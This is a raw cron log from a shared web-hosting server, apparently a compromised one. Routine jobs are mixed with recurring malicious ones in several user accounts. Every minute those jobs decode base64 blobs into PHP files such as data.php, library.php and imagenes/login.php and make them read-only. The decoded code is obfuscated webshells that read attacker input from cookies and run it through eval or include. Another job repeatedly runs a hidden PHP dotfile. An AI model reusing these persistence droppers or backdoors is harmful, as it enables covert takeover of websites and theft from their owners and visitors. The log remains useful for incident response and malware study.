Mar  1 22:27:02 medusa CROND[11635]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:27:02 medusa CROND[11636]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:27:02 medusa CROND[11637]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:27:02 medusa CROND[11639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:27:02 medusa CROND[11640]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:27:02 medusa CROND[11643]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:27:02 medusa CROND[11646]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:27:02 medusa CROND[11647]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:27:02 medusa CROND[11656]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:27:02 medusa CROND[11658]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:27:02 medusa CROND[11659]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:28:02 medusa CROND[17050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:28:02 medusa CROND[17293]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:28:02 medusa CROND[17295]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:28:02 medusa CROND[17296]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:28:02 medusa CROND[17297]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 22:28:02 medusa CROND[17304]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 22:28:02 medusa CROND[17310]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:28:02 medusa CROND[17311]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:28:02 medusa CROND[17312]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:28:02 medusa CROND[17313]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:28:02 medusa CROND[17315]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 22:28:02 medusa CROND[17319]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:28:02 medusa CROND[17318]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:28:02 medusa CROND[17320]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:29:01 medusa CROND[20454]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:29:01 medusa CROND[20713]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:29:01 medusa CROND[20714]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 22:29:01 medusa CROND[20715]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:29:01 medusa CROND[20719]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:29:01 medusa CROND[20721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:29:01 medusa CROND[20722]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:29:01 medusa CROND[20723]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:29:01 medusa CROND[20725]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 22:29:01 medusa CROND[20729]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
